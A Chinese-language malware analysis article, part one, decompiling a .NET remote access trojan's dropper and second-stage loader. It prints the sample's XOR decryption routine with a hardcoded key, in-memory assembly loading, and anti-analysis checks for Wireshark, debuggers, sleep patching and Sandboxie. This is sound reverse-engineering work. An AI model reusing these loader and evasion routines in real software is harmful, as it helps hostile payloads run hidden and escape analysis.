对DOTNET(.NET)中的恶意远程访问进程进行分析(上)

栏目: ASP.NET · 发布时间: 5年前

内容简介:DOTNET背景知识介绍DOTNET就是.NET, 严格说是:.Net Framework框架 。但为什么叫DOTNET(.NET)呢?在计算机行业DOT是Distributed Object Technology的简称,意为分布式对象技术。DOT恰好与“点”的英语单词相同,DOT的音标[dɔt]。.NET是一个微软开发的编程环境,里面可以使用C#,VB等多种编程语言。借助于.NET平台,可以创建和使用基于XML的应用程序、进程和Web站点以及服务,它们之间可以按设计、在任何平台或智能设备上共享和组合信息

DOTNET背景知识介绍

DOTNET就是.NET, 严格说是:.Net Framework框架 。但为什么叫DOTNET(.NET)呢?在计算机行业DOT是Distributed Object Technology的简称,意为分布式对象技术。DOT恰好与“点”的英语单词相同,DOT的音标[dɔt]。.NET是一个微软开发的编程环境,里面可以使用C#,VB等多种编程语言。

借助于.NET平台,可以创建和使用基于XML的应用程序、进程和Web站点以及服务,它们之间可以按设计、在任何平台或智能设备上共享和组合信息与功能,以向单位和个人提供定制好的解决方案。

.NET是一个全面的产品家族,它建立在行业标准和Internet标准之上,提供开发(工具)、管理(服务器)、使用(构造块服务和智能客户端)以及 XML Web 服务体验(丰富的用户体验),.NET将成为你今天正在使用的Microsoft应用程序、 工具 和服务器的一部分。.NET目前的版本共有:

1.2003年的 .net 1.0 1.1;

2.2005年的 .net 2.0;

3.2008年的 .net 3.0 3.5;

4.2010年的 .net 4.0;

5.2011年的 .net 4.1;

6.2015年的 .net 4.6;

在本文中,我们会对DOTNET(.NET)中的恶意远程访问工具进行分析,本文所讲的RAT样本可以在 VirusBay 上找到。此外,这是一个 本地镜像 。 为了在对样本讲解时,避免发生恶意执行,这个压缩文件的密码已被加密。不过,我可以给出一些简单的样本信息。

MD5: 5a762e5381d28524d554499a2337ae34

SHA-1: c24ce7b94588a08f4a9ddfc8554ad419f1a641d9

SHA-256: 6451dad939c9bdab292445db5668deb2059d524dcfc97fa2216c4736a2c0f3e4

File type: application/x-dosexec

File size: 605.5 KB

Detection rate: 26 / 67

编辑代码

在编辑代码时,有些人可能更喜欢IDE(Integrated Development Environment,集成开发环境),不过在本文所举的样本中,既可以使用Visual Studio,也可以使用dnSpy(dnSpy 是0xd4d 开发的 .NET 程序调试神器。说它是神器真的毫不为过!它能在完全没有源码的情况下即时调试程序,甚至还能修改程序!)中的编辑功能,只要能够完成分析即可。在本文的实操中,我使用的是由dnSpy生成的导出项目。为了打开、编辑和执行这些项目,我使用了Visual Studio 2017 Community Edition。要使用这种方式,我就不得不修改某些部分的代码,以保持反编译代码的可执行性。如果你使用的是不同的工具,则可能需要对配置进行不同的更改,这点很重要。

加载程序——第1阶段

二进制文件使用了.NET编写,dnSpy在选择LJFES.exePTX.exe时针对的是特定的.NET版本,信息如下所示。

Runtime: .NET Framework 2.0

注意,二进制文件还同时给出了应用程序的入口点,这是分析的起点。请注意,名称空间和类以及方法都是给定的。

ZTXNOIRBCXBXUMZRCRBVONMOE.CUCIZZCCOCRRXIIOZIOOEIRCUITOT.Main

主函数会调用很多函数,几乎所有函数都被存储在同一个类中。这其实是攻击者采用的一种混淆形式。此外,由于名称不可读,这些名称也被混淆了。完整的主函数如下所示,然后在后面的分析中,我们会使用一个简化了的版本。

public static void Main(string[] BNCONUTZUNZVBXZBCXCXNVIRCUXRBVRMRIUIVOIEZIMCVIZVCUZEXIUVBIBMCNCCTNMVUROMXBICBZBEIIUTMTEZBERBMRVVENVMEMTE){
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.QHJFMHF(38631, 98479);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.SNQBXWTXMUKB(new byte[53106]);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.PUYFLGGDOAYJ(121312, 86355);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.LMQIIMGGOR(new byte[12476]);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.GFJCCSOR(26136, 49680);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.UJFSXGAZQMBM(new byte[130305]);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.UTAUPRBKY(61078, 60438);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.KDBCANTHNL(new byte[67947]);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.GUPPZKMOUTHS(48613, 111162);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.SWWFQBCVE(new byte[68443]);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.FMLAZRZYNVOG(50291, 77251);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.ZJMQXDLXT(new byte[92735]);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.YFXJVV(29395, 92506);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.QUSDTFXR(new byte[79830]);
	byte[] array = (byte[])new ResourceManager("CIUUMCBVZROMITOIVM", Assembly.GetExecutingAssembly()).GetObject("CIIVMOCZIUEZBIBMECURIIXRXROXR");
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.AXNFFLXLOSIA(63805, 46381);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.ABDLEDZAXPI(new byte[28547]);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.FIYHHBBYKAQO(1077, 107426);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.WVNGHSRNNRW(new byte[7210]);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.YMFKLGT(84717, 131741);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.DUGKLHAIZSIC(new byte[112375]);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.GSMNUCDDYP(26809, 96205);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.RXLHFDN(new byte[70296]);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.IIYFVXDCL(110008, 123655);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.YCIFEQTKIMBH(new byte[66557]);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.XPJPEETESWNQ(85352, 44300);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.FRRNVGVUPKAK(new byte[26150]);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.JTHDUJAD(70044, 102451);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.LXJKMUOUETOB(new byte[33786]);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.KGNXTBFTLZ(126533, 49848);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.CLQMOSHU(new byte[57574]);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.OYDCPYBAAAE(86430, 64473);
	byte[] array2 = cunkai.notin("BVTZNORUIRCENBVRNXNTBNOVZTINBRRTZNECCUXOUTNMZMCEIRUOOZONUOEORMBTZNRENZU");
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.RVLEDLYWW(new byte[10756]);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.PXBHPDWVN(56567, 105039);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.OKAVSWEEQ(new byte[107989]);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.VDRXKVIH(35558, 40262);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.KQIBXGQD(new byte[53143]);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.MCKHBLWK(66087, 21650);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.WJSGJDAR(new byte[93091]);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.LTOLOAMNUOAN(128620, 111623);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.HBDIBJKKQCOJ(new byte[97335]);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.VEKZJUAIM(29887, 102596);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.LCATOKVEKPTZ(new byte[127254]);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.GSCIXMB(107196, 77484);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.KKQMEBZIO(new byte[92008]);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.ETOWGFYK(92973, 12027);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.CNLDDWEMLUWT(new byte[92545]);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.MSCKMMHT(96916, 131543);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.HYNFUAVORGAY(new byte[117518]);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.GIEPJ(1124, 114459);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.NVDUSBKTHWPY(new byte[67584]);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.BNSXJHLJCQFS(77591, 129966);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.KAOYXHWXPKHW(new byte[56030]);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.QEJDHVDEKU(29036, 100059);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.QBHYSFNDODCG(new byte[79456]);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.LTDEHVQCEIF(68483, 125888);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.KPCPFNZHKQKR(new byte[75813]);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.YLWLSJ(78413, 88572);
	for (int i = 0; i < array.Length; i++)
	{
		byte[] expr_3C8_cp_0 = array;
		int expr_3C8_cp_1 = i;
		expr_3C8_cp_0[expr_3C8_cp_1] ^= (byte)(array2[i % "BVTZNORUIRCENBVRNXNTBNOVZTINBRRTZNECCUXOUTNMZMCEIRUOOZONUOEORMBTZNRENZU".Length] >> i + 5 + array2.Length & 150);
	}
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.HHYRMSBR(new byte[85113]);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.ESZUWZDBNUD(65224, 60464);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.EEGMUGMVG(new byte[3647]);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.MLHHVQIIIBOT(10216, 103751);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.WKLCOISDVBWB(new byte[66068]);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.QJHOFGGLMD(74547, 62481);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.JNTMBQJXAF(new byte[50952]);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.VVZJGCLEJZHM(46655, 101301);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.SBJFUSJPIKL(new byte[4035]);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.OGIXEORWXDWD(121228, 88544);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.YTPHVSUJ(new byte[96233]);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.FBQUULKKQAGP(15281, 104569);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.DSTNWXQOBH(new byte[120349]);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.KLSGDKG(39153, 1316);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.JLKNRQLMIVLU(new byte[73582]);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.SRIXURKILV(44588, 2102);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.IGOGIYKH(new byte[4778]);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.NQAVW(29351, 49183);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.EIMCQZZD(new byte[124507]);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.UGZYFB(75038, 131858);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.KCLEJTCLDQPE(new byte[107104]);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.ADQYTSVPQGBG(125381, 125207);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.CFBZKGCAEQJI(new byte[90505]);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.TNKAZYFCFZUV(73670, 116380);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.BKRNZLORRYP(new byte[111850]);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.EFGNNXCWX(4846, 92862);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.BTPNIKAUMPE(new byte[58549]);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.QWZIUZMJVFTG(5632, 56508);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.TYWCHBLIGSZH(new byte[47524]);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.EIIXCFCNLEAG(110891, 35167);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.JNYNDYHTODO(new byte[77354]);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.JKQLANHCJYWK(132457, 92627);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.PJUEGQPH(new byte[43089]);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.MWXDG(4743, 121556);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.OEZJVAQKLDW(new byte[66796]);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.QGMEUFVGXCK(46630, 8522);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.NQSOHIQAVWF(new byte[78875]);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.MTSDJEJIU(102858, 13820);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.ORKAPSQRMZT(new byte[20637]);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.REORSSMNQOTJ(126406, 91441);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.OEDJJXAOIBZ(new byte[60647]);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.XEKBYWCKZYA(83408, 104304);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.XCGFVUXSIJL(new byte[35931]);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.NHWHLZMPJ(82607, 62439);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.ECJXKKSOEFJG(new byte[35098]);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.MDLHCRUKJGAA(52580, 44716);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.EGARDBWBEBN(new byte[63103]);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.CQDFUFY(129160, 20890);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.UNAGZB(new byte[15161]);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.GIGFUOPPJKOV(1217, 64904);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.VNGSBPECZGHV(new byte[30783]);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.ZUSXOBUBULG(27351, 45844);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.SEQKDYLUYADQ(new byte[53847]);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.CWEJIC(84696, 31412);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.YTRBEMX(new byte[91720]);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.FZDZRUQYCWI(93837, 107976);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.JPYAJPYBNJN(new byte[39570]);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.TQAUKKQFRJMI(129146, 81054);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.WIAMTKSLMQGF(new byte[109260]);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.VAHGJRMXJTS(44178, 68995);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.QJOHZVTGYBUY(new byte[36782]);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.RUFJQNAFUDKW(101320, 39551);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.UFPBSRMMDWSY(new byte[18643]);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.BEGNXSDMLDC(27534, 71029);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.YBZJVK(new byte[50494]);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.PWWNWWZKUDCV(37041, 73409);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.ZPFJJYJA(new byte[93788]);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.ZLRLXUILEFUC(20356, 95080);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.SBXQARBAJN(new byte[83868]);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.PIXHOHTHJKUN(119417, 101495);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.QWJLPP(new byte[7859]);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.PPLWQVWRIAP(11079, 7257);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.WYSUUDIGDDIH(new byte[122537]);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.AEGZKKGIBOI(49566, 112500);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.HYPXGGBWYKZ(new byte[2126]);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.EPIXZZNHOMMJ(99796, 125510);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.JZOZSCWGZ(new byte[13728]);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.LHIDXLECQLAX(110239, 59031);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.WTRGETKVKOCH(new byte[25328]);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.QSXKJRHJ(100070, 95973);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.QHTAMMXGYEZT(new byte[126768]);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.VBOSOMZUUG(17667, 72841);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.QFLRSHETGLKK(new byte[15102]);
	cunkai.kazmaz(array, BNCONUTZUNZVBXZBCXCXNVIRCUXRBVRMRIUIVOIEZIMCVIZVCUZEXIUVBIBMCNCCTNMVUROMXBICBZBEIIUTMTEZBERBMRVVENVMEMTE, 25);}

快速浏览CUCIZZCCOCRRXIIOZIOOEIRCUITOT类中的函数,通过这些信息,足以了解此段代码是垃圾代码。其唯一目的是增加分析师的难度。下面给出了其中一些函数:

public static uint QHJFMHF(int KXKXKNHS, int SODCVNJYHKU){
	return 188317u;} // Token: 0x06000002 RID: 2 RVA: 0x00002060 File Offset: 0x00000260public static byte[] SNQBXWTXMUKB(byte[] OOMWSKNQIED){
	return OOMWSKNQIED;} // Token: 0x06000003 RID: 3 RVA: 0x00002064 File Offset: 0x00000264public static uint PUYFLGGDOAYJ(int YYKUVHI, int GKZTRRU){
	return 94478u;} // Token: 0x06000004 RID: 4 RVA: 0x0000207C File Offset: 0x0000027Cpublic static byte[] LMQIIMGGOR(byte[] ZTHDVNTLJYEP){
	return ZTHDVNTLJYEP;} // Token: 0x06000005 RID: 5 RVA: 0x00002080 File Offset: 0x00000280public static uint GFJCCSOR(int QGUGXDOBJD, int QRIWWUFTYCG){
	return 117451u;}

在删除主类中的垃圾调用后,代码变得更具可读性。

public static void Main(string[] BNCONUTZUNZVBXZBCXCXNVIRCUXRBVRMRIUIVOIEZIMCVIZVCUZEXIUVBIBMCNCCTNMVUROMXBICBZBEIIUTMTEZBERBMRVVENVMEMTE){
	byte[] array = (byte[])new ResourceManager("CIUUMCBVZROMITOIVM", Assembly.GetExecutingAssembly()).GetObject("CIIVMOCZIUEZBIBMECURIIXRXROXR");
	byte[] array2 = cunkai.notin("BVTZNORUIRCENBVRNXNTBNOVZTINBRRTZNECCUXOUTNMZMCEIRUOOZONUOEORMBTZNRENZU");
	for (int i = 0; i < array.Length; i++)
	{
		byte[] expr_3C8_cp_0 = array;
		int expr_3C8_cp_1 = i;
		expr_3C8_cp_0[expr_3C8_cp_1] ^= (byte)(array2[i % "BVTZNORUIRCENBVRNXNTBNOVZTINBRRTZNECCUXOUTNMZMCEIRUOOZONUOEORMBTZNRENZU".Length] >> i + 5 + array2.Length & 150);
	}
	cunkai.kazmaz(array, BNCONUTZUNZVBXZBCXCXNVIRCUXRBVRMRIUIVOIEZIMCVIZVCUZEXIUVBIBMCNCCTNMVUROMXBICBZBEIIUTMTEZBERBMRVVENVMEMTE, 25);}

第一个数组名为array,它相当于是嵌入式内容CIIVMOCZIUEZBIBMECURIIXRXROXR。第二个数组相当于cunkai.notin的返回值。之后的for循环会使用两个数组,执行一些计算来改变原始数组。然后,调用另一个未知函数。

buzi命名空间中cunkai类中的注释函数很简单,如下所示。

public static byte[] notin(string kesten){
	return Encoding.ASCII.GetBytes(kesten);}

第二个未知函数kazmaz调用thunda函数,但如下所示,名为faga的变量从未在函数中使用过,因此是垃圾代码。

public static byte[] kazmaz(byte[] haspu, string[] mushenik, int faga){
	return (byte[])cunkai.thunda(haspu).EntryPoint.Invoke(null, new object[]
	{
		mushenik	});}

thunda函数的返回值用作字节数组,然后调用此字节数组的入口点。看看thunda函数,就会发现加载程序的作用是显而易见的。

public static Assembly thunda(byte[] trunda){
	return AppDomain.CurrentDomain.Load(trunda);}

将名为trunda的给定字节数组加载到内存中,然后使用字符串数组mushenik中的项作为参数,调用加载的程序集的入口点。

可以使用dnSpy中的导出函数(位于“文件”菜单项下)或复制代码和其中的内容。可以通过在dnSpy中右键单击并选择Raw Save [name].来复制其中的内容。请务必折叠所有树中的节点,以避免将项目保存时的过度堆叠。

由于在复制代码时,ResourceManager并不会开箱即用,因此它被添加到所使用的新Visual Studio项目的内容中。可以使用 Properties.Resources.[name]引用这些对象,另外还值得注意的是,新项目有自己的入口点,应该相应地设置反编译代码的主函数。在本文的示例中,我使用了我自己的项目的主函数,然后调用了加载程序的主函数,我将其重命名为execute。修改后的代码如下:

public static void execute(string[] args){
	byte[] array = Properties.Resources.CIIVMOCZIUEZBIBMECURIIXRXROXR;
	byte[] array2 = LoaderClass.GetAsciiStringAsBytes("BVTZNORUIRCENBVRNXNTBNOVZTINBRRTZNECCUXOUTNMZMCEIRUOOZONUOEORMBTZNRENZU");
	for (int i = 0; i < array.Length; i++)
	{
		byte[] arrayCopy = array;
		int additionalCounter = i;
		arrayCopy[additionalCounter] ^= (byte)(array2[i % "BVTZNORUIRCENBVRNXNTBNOVZTINBRRTZNECCUXOUTNMZMCEIRUOOZONUOEORMBTZNRENZU".Length] >> i + 5 + array2.Length & 150);
	}
	//LoaderClass.LoadAndExecute(array, args, 25);
	File.WriteAllBytes("asset.exe", array);}

执行恶意软件的代码行有一个无用的参数,即25。这是LoadAndExecute函数中未使用的参数。数组不会执行其中的内容,而是被写入磁盘以进行进一步分析。

小结

由于要分析的内容往往穿插在各个阶段,所以在分析过程中牢记各个阶段的功能是有帮助的,这可以帮助我们进行下一个阶段的分析。在本例中,传递给原始二进制文件的参数被传递给第二阶段的dropper,快速总结二进制代码的行为可以为以后的分析提供一个清晰的思路。

1.Dropper加载有加密的内容;

2.Dropper加载有硬编码的解密密钥;

3.压缩文件被解密;

4.解密的内容被加载到内存中;

5.然后执行加载的内容;

6.提供给dropper的参数将传递给已加载的内容

加载程序——第2阶段

asset.exe文件也是Dot Net可执行文件,就像第一阶段dropper一样。使用dnSpy,可执行文件的原始名称变为可见:LJFES.exe。可执行文件的入口点是AA1.AA3.Main,这是分析开始的位置。在这个可执行文件中,没有其他名称空间和类,这大大简化了分析过程。简化后的函数如下:

对DOTNET(.NET)中的恶意远程访问进程进行分析(上)

对DOTNET(.NET)中的恶意远程访问进程进行分析(上)

这段代码看起来好像是由块组成的,且包含许多if语句。不过这些if语句代码块的内容不是相关的,只有通读完所有块,才能了解关于被分析部分的大量信息,这些部分可以是函数或类。注意,虽然需要阅读代码,但不需要完全理解每一行。不过稍后在详细分析时,充分理解代码是很重要的。为了说明这一点,将对LJFES.exe的主函数进行分析。

主函数中的每行代码都在try-catch结构中执行,catch-clause使用Exception类捕获任何异常。异常显示在消息框中,这个过程是可见的,可能表明恶意软件仍在开发中,是个测试版本。

下一个块是一个执行多个函数的if语句。如果满足语句中的任何条件,程序将自行终止。在遍历一些代码行之后,找到最后一个(也就是最大的)代码块。如果类型的名称是RunLib,则会遇到四个if语句,如果满足条件,则每个语句都调用给定的RunLib的组成部分。这很可能是恶意远程执行中的关键部分,因为它对其中所存在的功能以及这些功能的源代码所在的位置,都了如指掌

依据上述分析,我们就可以详细查看一遍代码了。这一次的目标是完全理解,并对代码分析。与第一个二进制文件不同的是,在这个类中并不是所有的字段或方法都被混淆,比如下面给出的第一个if语句。

对DOTNET(.NET)中的恶意远程访问进程进行分析(上)

可以从此函数的名称中,清楚地了解它的用途,其中第一个、第三个和最后一个函数(即D)的第一个字母最有可能表示检测。为确保函数的功能和其名称相符,我们将从DWireshark函数开始对它们进行分析。

private static bool DWireshark(){
	Process[] processes = Process.GetProcesses();
	foreach (Process process in processes)
	{
		if (process.MainWindowTitle.Equals("The Wireshark Network Analyzer"))
		{
			return true;
		}
	}
	return false;}

如果正在运行的任何主窗口标头明确表示了Wireshark网络分析器的进程,则该函数返回true。这会导致恶意软件关闭,从而避免被分析。

接下来是第二个函数,名为IsDebuggerPresent。为了避免被调试,恶意软件经常检测调试器是否附加到进程中。

[DllImport("kernel32")]private static extern bool IsDebuggerPresent();

使用kernel32内部的本机函数,返回一个布尔值,该值取决于是否附加了调试器。接下来是第三个函数,其代码如下。

对DOTNET(.NET)中的恶意远程访问进程进行分析(上)

系统的正常运行时间(以毫秒为单位)可以通过Environment.TickCount字段获得。这两个值之间的睡眠也应该是两个保存值之间的近似差值,模拟器通常会对sleep函数进行修补,从而有效地跳过程序应该休眠的时间。这样,使用持续时间为几分钟的睡眠调用,无法避开模拟器。

由于操作系统的调度,睡眠时差可能比给定值略大或略小,但不会超出很多,然后将睡眠时间与两个保存值之间的差异进行比较。请注意,这个差异值有时小于睡眠时间(基于我自己在概念验证中编写此类检测时的测试),这会导致此恶意软件在某些不确定情况下被关闭,而sleep函数也没有被检测。

最后一个函数的代码如下:

[DllImport("kernel32.dll")]public static extern IntPtr GetModuleHandle(string lpModuleName); private static bool DSandboxie(){
	return AA3.GetModuleHandle("SbieDll.dll").ToInt32() != 0;}

使用本机函数GetModuleHandle(保存在kernel32.dll中),可以获得指向句柄的指针。如果这个指针不是0,则意味着DLL已经被加载。如果它就是0,DLL就没有被加载到内存中,因此应用程序不在Sandboxie沙箱中,Sandboxie是我们测试是用的工具,Sandboxie是一款较为著名的系统安全工具,允许你可以在沙箱环境中运行软件, Sandboxie会帮你清除一切痕迹。包括上网、程序运行痕迹或是在Sandboxie沙箱进程中下载的文件痕迹等。还可用来还原注册表、主页、收藏夹等。

如果没有检测到函数返回true,则继续执行程序。环境检测和具有所谓密钥功能的if语句之间只有10行代码。这10行代码的内容如下:

string golemiq = "BVTZNORUIRCENBVRNXNTBNOVZTINBRRTZNECCUXOUTNMZMCEIRUOOZONUOEORMBTZNRENZU";
bool flag = true;
bool flag2 = false;
bool flag3 = true;
bool flag4 = false;
byte[] array = (byte[])new ResourceManager("BNXEITRNUMETMXIM", Assembly.GetExecutingAssembly()).GetObject("CCMIBETXUERE");
string[] array2 = Regex.Split(Encoding.Default.GetString(array), "kozqk");
byte[] malkopute = new byte[255];
Assembly assembly = AppDomain.CurrentDomain.Load(AA3.bigdick(Encoding.Default.GetBytes(array2[1]), malkopute, golemiq));
byte[] array3 = AA3.bigdick(Encoding.Default.GetBytes(array2[0]), malkopute, golemiq);

稍后,名为golemiq的字符串在函数calld bigdick中使用。在第一次使用中,设置变量组件。第二次使用中,设置变量array3, bigdick函数的代码如下。

public static byte[] bigdick(byte[] feromero, byte[] malkopute, string golemiq)
{
	malkopute = Encoding.ASCII.GetBytes(golemiq);
	for (int i = 0; i < feromero.Length; i++)
	{
		int num = i;
		feromero[num] ^= (byte)(malkopute[i % golemiq.Length] >> i + 5 + malkopute.Length & 150);
	}
	return feromero;
}

函数声明中的名称和主函数中使用的变量的名称相同,第一个变量在函数末尾返回。因此,将此变量重命名为output是合乎逻辑的。

第二个变量是计算期间在函数内执行的输入,用于根据自定义加密方法更改输出内容。因此,此时变量将重命名为input。

最后,提供的第三个参数将转换为字节数组并存储在输入内容中。这是所使用的自定义加密的密钥,因此按照逻辑要对这个变量密钥进行重命名。

另外函数的名称也可以更改为更有意义的内容,例如decrypt,因为它表示次函数会返回一个更改后的字节数组。稍后我们将使用该数组,下面就是重构后的代码。

public static byte[] decrypt(byte[] output, byte[] input, string key)
{
	input = Encoding.ASCII.GetBytes(key);
	for (int i = 0; i < output.Length; i++)
	{
		int num = i;
		output[num] ^= (byte)(input[i % key.Length] >> i + 5 + input.Length & 150);
	}
	return output;
}

名为flagN的变量(其中N是一个数字)只被设置一次,之后就再也不会改变。这一点很重要,因为调用加载库中的函数的if语句是根据这些flagN布尔值的值执行的。只有当值为true时,才会调用该函数。由于两个flagN布尔值被设置为了false,因此这些函数将永远不会被调用。这是恶意软件可能仍处于开发阶段的另一个证据,或者,它可能还在不断迭代中。

名为array的变量就是名为CCMIBETXUERE包含的内容。在下一行中,它基于字符串kozqk进行拆分,变量程序集被设置为拆分内容的第二项值的解密值。

名为array3的变量就是第一个拆分内容值的解密值,在根据函数和字段的描述重新命名它们之后,主函数的第一部分是清晰可读的,如下所示。

对DOTNET(.NET)中的恶意远程访问进程进行分析(上)

注意,有关检测技术的行Environment.Exit(0)因为调试目的,已被注释掉了。其中的内容也被修改了,因此它可以在Visual Studio项目中被正确加载。

接下来,主函数会从assemblyPart2程序集中选择RunLib类型,这是一个关于程序集文件类型的线索——库,为了获得对其的描述信息,我们会首先找出一个用来描述的概括性代码。

